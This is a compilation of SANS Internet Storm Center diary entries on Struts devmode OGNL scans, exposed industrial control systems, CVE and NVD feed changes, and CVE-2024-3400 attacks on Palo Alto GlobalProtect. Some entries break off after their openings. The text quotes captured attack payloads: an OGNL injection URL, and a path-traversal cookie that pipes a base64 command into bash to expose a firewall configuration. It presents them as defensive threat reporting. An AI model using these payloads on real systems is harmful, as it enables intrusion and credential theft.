I've been working on comparing data from different DShield [1] honeypots to understand differences when the honeypots reside on different networks. One point of comparison is malware submitted to the honeypots. During a review of the summarized data, I noticed that one honeypot was an outlier in terms of malware captured.
Like many similar frameworks and languages, Struts 2 has a "developer mode" (devmode) offering additional features to aid debugging. Error messages will be more verbose, and the devmode includes an OGNL console. OGNL, the Object-Graph Navigation Language, can interact with Java, but in the end, executing OGNL results in arbitrary code execution. This OGNL console resembles a "web shell" built into devmode.
No matter the language, and the exact features it provides, enabling a "devmode", "debug mode" or similar feature in production is never a good idea. But it probably surprises no one that it still shows up in publicly exposed sites ever so often. Attackers know this as well, and are "playing" with it.
To take advantage of devmode, an attacker would request a URL like:
/[anything].action?debug=command&expression=[OGNL Expression]
I noticed today that one URL in this format is showing up in our "first seen" URLs:
/devmode.action?debug=command&expression= (#_memberAccess["allowStaticMethodAccess"]=true, #foo=new java.lang.Boolean("false") , #context["xwork.MethodAccessor.denyMethodExecution"]=#foo, @org.apache.commons.io.IOUtils
For readability, I URL decoded and added spaces. This URL is likely just a scan for vulnerable systems. I ran a quick database query to see if we have other similar URLs recently. Indeed we had 2,443 distinct URLs in our database. Most of them follow this pattern:
debug=command&expression=(43867*40719)
Again, a simple check is performed to see if a system is vulnerable. Scans for this issue are sporadic, but we have had some notable increases recently. An old issue like this often comes back as people start to forget about it, so take this as a reminder to double-check your systems.
I am plotting the last two years below, and you see big spikes on February 24th, 27th, and April 19th this year.
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
It has been nearly three years since we last looked at the number of industrial devices (or, rather, devices that communicate with common OT protocols, such as Modbus/TCP, BACnet, etc.) that are accessible from the internet[1]. Back in May of 2021, I wrote a slightly optimistic diary mentioning that there were probably somewhere between 74.2 thousand (according to Censys) and 80.8 thousand (according to Shodan) such systems, and that based on long-term data from Shodan, it appeared as though there was a downward trend in the number of these systems.
Given that few months ago, a series of incidents related to internet-exposed PLCs with default passwords was reported[2], and CISA has been releasing more ICS-related advisories than any other kind for a while now[3], I thought it might be a good time to go over the current numbers and see at how the situation has changed over the past 35 months.
At first glance, the current number of ICS-like devices accessible from the internet would seem to be somewhere between 61.7 thousand (the number of “ICS” devices detected by Shadowserver[4]) and 237.2 thousand (the number of “ICS" devices detected by Censys[5]), with Shodan reporting an in-between number of 111.1 thousand [6]. It should be noted though, that even if none of these services necessarily correctly detects all OT devices, the number reported by Censys seems to be significantly overinflated by the fact that the service uses a fairly wide definition of what constitutes an “ICS system” and classifies as such even devices that do not communicate using any of the common industrial protocols. If we do a search limited only to devices that use one of the most common protocols that Censys can detect (e.g., Modbus, Fox, EtherNet/IP, BACnet, etc.), we get a much more believable/comparable number of 106.2 thousand[7].
It is therefore probable that the real number of internet-connected ICS systems is currently somewhere between 61 and 111 thousand, with data from Shodan and Censys both showing an increase of approximately 30 thousand from May 2021. It should be noted, though, that some of the detected devices are certain to be honeypots – of the 106.2 thousand systems reported by Censys, 307 devices were explicitly classified as such[8], however, it is likely that the real number of honeypots among detected systems is significantly higher.
If we take a closer look at some of the most often detected industrial protocols, it quickly becomes obvious that – with the exception of BACnet – the data reported by all three services varies significantly between different protocols.
It also becomes apparent that the large difference between the number of ICS systems detected by Shodan and Censys (> 100k) and the much smaller number detected by Shadowserver (61k) is caused mainly by a significantly lower number of detected devices that use Modbus on part of Shadowserver. For comparison, at the time of writing, Censys detects 54,770 internet-exposed devices using this protocol, while Shodan detects 33,036 of such devices, and Shadowserver detects only about 6,300 of them.
While on the topic of Modbus, it is worth noting that the number of ICS-like devices that support this protocol detected by both Shodan and Censys has increased significantly since 2021, and this increase seems to account for most of the overall rise in the number of detected ICS devices.
In fact, if we take a closer look at the changes over time, it is clear that the downward trend, which I mentioned in the 2021 diary, didn’t last too long. Looking at data gathered from Shodan using my TriOp tool[9], it seems that shortly after I published the diary, the number of detected ICS devices rose significantly, and it has oscillated around approximately 100 thousand ever since.
Although data provided by Shodan are hardly exact, the hypothesis that the number of internet-connected ICS devices has not fallen appreciably for at least the last two years seems to be supported by data from Shadowserver, as you may see in the following chart.
Nevertheless, even though there has therefore probably not been any notable decrease in the number of internet-connected ICS devices, this doesn’t mean that there have not been changes in the types of devices and the protocols they communicate with. As the following chart from Shodan shows, these aspects have changed quite a lot over time.
It is also worth mentioning that these charts and the aforementioned numbers describe the overall situation on the global internet, and therefore say nothing about the state of affairs in different countries around the world. This is important since although there may not have been any appreciable decrease in the number of internet-exposed ICS devices globally, it seems that the number of these devices has decreased significantly in multiple countries in the past few years – most notably in the United States, as you may see in the following chart from Shodan (though, it is worth noting that Shadowserver saw only a much lower decrease for the US – from approximately 32 thousand ICS devices to the current 29.5 thousand devices[10]).
Unfortunately, the fact that in some countries, the number of internet-connected ICS devices has fallen also means that there are (most likely) multiple countries where it has just as significantly risen, given that we have not seen an overall, global decrease… In fact, the must be countries where it rose much more significantly, given the aforementioned overall increase of approximately 30 thousand ICS systems detected by both Shodan and Censys globally.
So, while I have ended the 2021 diary stating a hope that the situation might improve in time and that the number of industrial/OT systems accessible from the internet will decrease, I will end this one on a slightly more pessimistic note – hoping that the situation doesn’t worsen just as significantly in the next three years as it did in the past three…
[1] https://isc.sans.edu/diary/Number+of+industrial+control+systems+on+the+internet+is+lower+then+in+2020but+still+far+from+zero/27412
[2] https://therecord.media/cisa-water-utilities-unitronics-plc-vulnerability
[3] https://www.cisa.gov/news-events/cybersecurity-advisories?page=0
[4] https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=30&source=ics&style=stacked
[5] https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=labels%3D%60ics%60
[6] https://www.shodan.io/search?query=tag%3Aics
[7] https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=%28labels%3D%60ics%60%29+and+%28services.service_name%3D%60MODBUS%60+or+services.service_name%3D%60FOX%60+or+services.service_name%3D%60BACNET%60+or+services.service_name%3D%60EIP%60+or+services.service_name%3D%60S7%60+or+services.service_name%3D%60IEC60870_5_104%60%29
[8] https://search.censys.io/search?resource=hosts&virtual_hosts=EXCLUDE&q=%28%28labels%3D%60ics%60%29+and+%28services.service_name%3D%60MODBUS%60+or+services.service_name%3D%60FOX%60+or+services.service_name%3D%60BACNET%60+or+services.service_name%3D%60EIP%60+or+services.service_name%3D%60S7%60+or+services.service_name%3D%60IEC60870_5_104%60%29%29+and+labels%3D%60honeypot%60
[9] https://github.com/NettleSec/TriOp
[10] https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=other&d1=2022-04-23&d2=2024-04-22&source=ics&geo=US&style=stacked
———–
Jan Kopriva
@jk0pr | LinkedIn
Nettles Consulting
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
The downloadable format of CVE's from Miter will be changing in June 2024, so if you are using CVE downloads to populate your scanner, SIEM or to feed a SOC process, now would be a good time to look at that. If you are a vendor and use these downloads to populate your own feeds or product database, if you're not using the new format already you might be behind the eight ball!
The old format (CVE JSON 4.0) is being replaced by CVE JSON 5.0, full details can be found here:
https://www.cve.org/Media/News/item/blog/2023/03/29/CVE-Downloads-in-JSON-5-Format
You can play with the actual files here: https://github.com/CVEProject/cvelistV5
(ps the earworm is free!)
===============
Rob VandenBrink
rob@coherentsecurity.com
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
The NVD (National Vulnerability Database) announcement page (https://nvd.nist.gov/general/news/nvd-program-transition-announcement) indicates a growing backlog of vulnerabilities that are causing delays in their process.
CVE's are issued by CNA's (CVE Numbering Authorities), and the "one version of the truth" for CVE's is at Mitre.org (the V5 list is here https://github.com/CVEProject/cvelistV5). There are roughly 100 (and growing) CNA's that have blocks of numbers and can issue CVEs on their own recognizance, along with MITRE who is the "root CNA". The CVE process seems to be alive and well (thanks for that MITRE!)
In the past NVD typically researched each CVE as it came in, and the CVE would become a posted vulnerability, enriched with additional fields and information (ie metadata), within hours(ish). This additional metadata makes for a MUCH more useful reference – the vuln now contains the original CVE, vendor links, possibly mitigations and workarounds, links to other references (CWE's for instance), sometimes PoC's. The vulnerability entry also contains the CPE information, which makes for a great index if you use this data in a scanner, IPS or SIEM (or anything else for that matter). For instance, compare the recent Palo Alto issue's CVE and NVD entries:
This enrichment process has slowed significantly starting on Feb 12 – depending on the CVE this process may be effectively stopped entirely. This means that if your scanner, SIEM or SOC process needs that additional metadata, a good chunk of the last 2 months worth of vulnerabilities essentially have not yet happened as far as the metadata goes. You can see how this is a problem for lots of vendors that produce scanners, firewalls, Intrustion Prevention Systems and SIEMs – along with all of their customers (which is essentially all of us).
Feb 12 coincidentally is just ahead of the new FedRAMP requirements (Rev 5) being released https://www.fedramp.gov/blog/2023-05-30-rev-5-baselines-have-been-approved-and-released/. Does this match up mean that NIST perhaps had some advance notice, and they maybe have outsourcers that don't (yet) meet these FedRAMP requirements? Or is NIST itself not yet in compliance with those regulations? The timing doesn't match for dev's running behind on the CVE Format change – that's not until June. Lots of maybes, but nobody seems to know for sure what's going on here and why – if you have real information on this, please post in our comment form! Enquiring minds (really) need to know!
===============
Rob VandenBrink
rob@coherentsecurity.com
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Billions of PDF files are exchanged daily and many people trust them because they think the file is "read-only" and contains just "a bunch of data". In the past, badly crafted PDF files could trigger nasty vulnerabilities in PDF viewers. All of them were affected at least once, especially Acrobat or FoxIt readers. A PDF file can also be pretty "dynamic" and embed JavaScript scripts, auto-open action to trigger the execution of a script (for example PowerShell on Windows, etc), or any other type of embedded data.
The Palo Alto Networks vulnerability has been analyzed in depth by various sources and exploits [1].
We have gotten several reports of exploits being attempted against GlobalProtect installs. In addition, we see scans for the GlobalProtect login page, but these scans predated the exploit. VPN gateways have always been the target of exploits like brute forcing or credential stuffing attacks.
GET /global-protect/login.esp HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Cookie: SESSID=.././.././.././.././.././.././.././.././../opt/panlogs/tmp/device_telemetry/minute/'}|{echo,Y3AgL29wdC9wYW5jZmcvbWdtdC9zYXZlZC1jb25maWdzL3J1bm5pbmctY29uZmlnLnhtbCAvdmFyL2FwcHdlYi9zc2x2cG5kb2NzL2dsb2JhbC1wcm90ZWN0L2Rrc2hka2Vpc3NpZGpleXVrZGwuY3Nz}|{base64,-d}|bash|{'
The exploit does exploit a path traversal vulnerability. The session ID ("SESSID" cookie) creates a file. This vulnerability can be used to create a file in a telemetry directory, and the content will be executed (see the Watchtwr blog for more details).
In this case, the code decoded to:
cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/dkshdkeissidjeyukdl.css
Which will make the "running-config.xml" available for download without authentication. You may want to check the "/var/appweb/sslvpndocs/global-protect/" folder for similar files. I modified the random file name in case it was specific to the target from which we received this example.
[1] https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Package updates/upgrades by maintainers on the Linux platforms are always appreciated, as these updates are intended to offer new features/bug fixes. However, in rare circumstances, there is a need to downgrade the packages to a prior version due to unintended bugs or potential security issues, such as the recent xz-utils backdoor. Consistently backing up your data before significant updates is one good countermeasure against grief. However, what if one was not diligently practicing such measures and urgently needed to simply roll back to a prior version of the said package? I was recently put in this unenviable position when configuring one of my systems, and somehow, the latest version of Proton VPN (version 4.3.0) would not work and displayed the following output after I executed it:
This is a quick update to our initial diary from this weekend [CVE-2024-3400].
At this point, we are not aware of a public exploit for this vulnerability. The widely shared GitHub exploit is almost certainly fake.
As promised, Palo Alto delivered a hotfix for affected versions on Sunday (close to midnight Eastern Time).
One of our readers, Mark, observed attacks attempting to exploit the vulnerability from two IP addresses:
%%ip:173.255.223.159%%: An Akamai/Linode IP address. We do not have any reports from this IP address. Shodan suggests that the system may have recently hosted a WordPress site.
%%ip:146.70.192.174%%: A system in Singapore that has been actively scanning various ports in March and April.
According to Mark, the countermeasure of disabling telemetry worked. The attacks where directed at various GlobalProtect installs, missing recently deployed instances. This could be due to the attacker using a slightly outdated target list.
Please let us know if you observe any additional attacks or if you come across exploits for this vulnerability.
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
